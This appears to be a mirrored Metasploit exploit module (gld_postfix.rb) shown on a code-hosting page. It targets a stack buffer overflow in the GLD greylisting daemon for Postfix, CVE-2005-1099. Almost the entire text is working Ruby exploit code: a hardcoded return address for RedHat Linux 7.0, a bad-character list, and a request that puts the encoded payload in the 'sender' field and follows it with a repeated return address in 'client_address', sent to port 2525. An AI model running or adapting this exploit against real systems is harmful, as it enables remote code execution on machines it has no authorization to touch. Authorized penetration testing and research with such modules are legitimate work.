Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/gld_postfix.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the Salim Gasmi15GLD <= 1.4 greylisting daemon for Postfix. By sending an16overly long string the stack can be overwritten.17},18'Author' => [ 'aushack' ],19'Arch' => ARCH_X86,20'Platform' => 'linux',21'References' =>22[23[ 'CVE', '2005-1099' ],24[ 'OSVDB', '15492' ],25[ 'BID', '13129' ],26[ 'EDB', '934' ]27],28'Privileged' => true,29'License' => MSF_LICENSE,30'Payload' =>31{32'Space' => 1000,33'BadChars' => "\x00\x0a\x0d\x20=",34'StackAdjustment' => -3500,35},36'Targets' =>37[38[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2005-04-12'42))4344register_options(45[46Opt::RPORT(2525)47],48self.class49)50end5152def exploit53connect5455sploit = "sender="+ payload.encoded + "\r\n"56sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"5758sock.put(sploit)59handler60disconnect6162end63end646566